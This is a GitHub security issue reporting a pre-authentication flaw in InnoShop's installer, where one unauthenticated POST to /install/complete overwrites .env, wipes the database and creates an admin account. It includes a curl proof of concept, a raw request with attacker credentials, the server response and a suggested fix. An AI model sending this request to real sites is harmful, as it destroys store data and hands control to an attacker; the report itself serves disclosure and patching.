

innocommerce / innoshop Public

[Code](#) [Issues 6](#) [Pull requests](#) [Discussions](#) [Actions](#) [Projects](#) [Security](#)

New issue



[Security]Pre-auth Application Reinstall leads to full system takeover #314

Closed



jackieya opened 2 weeks ago · edited by jackieya

Edits ▾

Contributor



Summary

A critical pre-authentication vulnerability exists in InnoShop's installation module (`innopacks/install`). The `/install/complete` endpoint remains accessible **without any authentication or CSRF protection** after the application has been fully installed. An unauthenticated attacker can send a single POST request to overwrite the `.env` file, wipe the entire database via `migrate:fresh`, and create a new administrator account — achieving **complete system takeover**.

Affected Versions

- InnoShop \leq 0.7.3 (latest at time of discovery)
- All prior versions are likely affected

Root Cause Analysis

1. Installation routes registered unconditionally

`innopacks/install/src/InstallServiceProvider.php` registers the installation routes in its `boot()` method **without checking whether the application is already installed**:

```
// InstallServiceProvider.php - boot()
public function boot(): void
{
    $this->loadRoutesFrom(__DIR__.'../../routes/web.php'); // Always loaded!
    $this->loadViewsFrom(__DIR__.'../../resources/views', 'install');
```



```
$this->loadTranslationsFrom(__DIR__.'/../lang', 'install');
}
```

2. No authentication or CSRF middleware on install routes

innopacks/install/routes/web.php defines routes without any middleware:

```
Route::get('/install', [InstallController::class, 'index']);
Route::post('/install/complete', [InstallController::class, 'complete']);
```

3. InstallController::complete() lacks installed() guard

```
public function complete(CompleteRequest $request): JsonResponse
{
    // No installed() check here!
    $data = $request->all();
    $creator = (new Creator)->setup($data);
    // ...
}
```

4. Creator::setup() performs destructive operations

```
public function setup($data): static
{
    $this->saveEnv($data); // Overwrites .env (including APP_KEY)
    $this->migrate(); // Runs migrate:fresh – DROPS ALL TABLES
    $this->seedData(); // Re-seeds default data
    $this->setAdmin($data); // Creates attacker-controlled admin
    $this->touchLockFile(); // Marks as "installed"
    return $this;
}
```

Attack Chain

```
Attacker (unauthenticated)
|
▼
POST /install/complete
| (No auth, No CSRF, No installed() check)
▼
Creator::saveEnv()
| → Overwrites .env with attacker's DB config + new APP_KEY
▼
Creator::migrate()
| → Executes `php artisan migrate:fresh`
| → ALL existing data is permanently destroyed
```

Creator::seedData()
 | → Re-seeds default application data



[Security]Pre-auth Application Reinstall leads to full system takeover #314



Full system takeover → Admin panel access → RCE via plugin upload

Proof of Concept

⚠ WARNING: This exploit is destructive. It will wipe the entire database. Only use in authorized test environments.

A single `curl` command is sufficient to exploit this vulnerability:

```
curl -X POST "http://<TARGET>/install/complete" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "db_type=mysql&db_hostname=<DB_HOST>&db_port=3306&db_name=<DB_NAME>&db_username=<DB_USER>
```

```
1 POST /install/complete HTTP/1.1
2 Host : localhost:8088
3 Content-Type: application/x-www-form-urlencoded
4
5 db_type=mysql&db_hostname=mysql&db_port=3306&db_name=innoshop&db_username=innoshop&
db_password=innoshop123&db_prefix=innos_admin_email=attacker@evil.com&
admin_password=Hacked123!
```

```
1 HTTP/1.1 200 OK
2 Date: Thu, 16 Apr 2026 12:40:23 GMT
3 Server: Apache/2.4.66 (Debian)
4 X-Powered-By: PHP/8.2.30
5 Cache-Control: no-cache, private
6 Content-Type: application/json
7 Content-Length: 5748
8
9
10 {"success": true,
11 "message": "\n\nDropping all
tables.....1s-DONE\n\n-INFO-
Preparing database.....\n\n-creating migration
table.....77.56ms-DONE\n\n-INFO-
Running migrations.....\n\n-
2024_04_01_161034_init_innoshop_table.....65-
DONE\n\n-2024_05_19_094756_create_plugin_table.....1.
59ms-DONE\n\n-
2024_07_04_012839_create_personal_access_tokens_table.....78.15ms-
DONE\n\n-2024_07_10_073253_add_enable_page_head_to_pages_table.....66.
98ms-DONE\n\n-
2024_08_30_013346_add_product_selling_point.....70.87ms-
DONE\n\n-2024_09_09_094202_add_category_image.....80-
06ms-DONE\n\n-2024_11_09_122956_add_cover_to_product.....
159.51ms-DONE\n\n-"}
远端地址: 127.0.0.1:8088 响应时
间: 28024ms 总耗时: 28028m
s: URL:http://localhost:8088/install
V_
```

Expected result: HTTP 200 with `{"success": true, ...}`. The attacker can then log in to `/panel` with the injected credentials.

The screenshot shows the admin interface of innoshop. At the top right, there are navigation links for 'Marketplace', 'English', and a user profile 'admin'. The user profile dropdown menu is open, showing the current user 'admin' with email 'attacker@evil.com' (highlighted with a red box), and options for 'Front Desk Homepage', 'Profile', and 'Log out'. On the dashboard, there is a card for 'Today Visits' showing '1' visit, which is a '100% increase' compared to yesterday. Below this is a section for 'Order Status Distribution' for the 'Last 30 Days'.

Impact

Impact	Description
Data Destruction	<code>migrate:fresh</code> drops ALL database tables — complete and irreversible data loss
Account Takeover	Attacker creates a new admin account with full privileges
Denial of Service	Even if the attacker provides wrong DB credentials, overwriting <code>.env</code> renders the application unusable (HTTP 500)

Suggested Fix

Add an `installed()` guard to `InstallServiceProvider::boot()` to prevent installation route registration on already-installed systems:

```
public function boot(): void
{
    if (installed()) {
        return; // Block all install routes after installation
    }

    $this->loadRoutesFrom(__DIR__.'/../routes/web.php');
    $this->loadViewsFrom(__DIR__.'/../resources/views', 'install');
    $this->loadTranslationsFrom(__DIR__.'/../lang', 'install');
}
```

Fix PR: [#313](#)



yushine yesterday

Contributor



Thanks. merged.



yushine closed this as completed yesterday

Sign up for free

to join this conversation on GitHub. Already have an account? [Sign in to comment](#)

Metadata

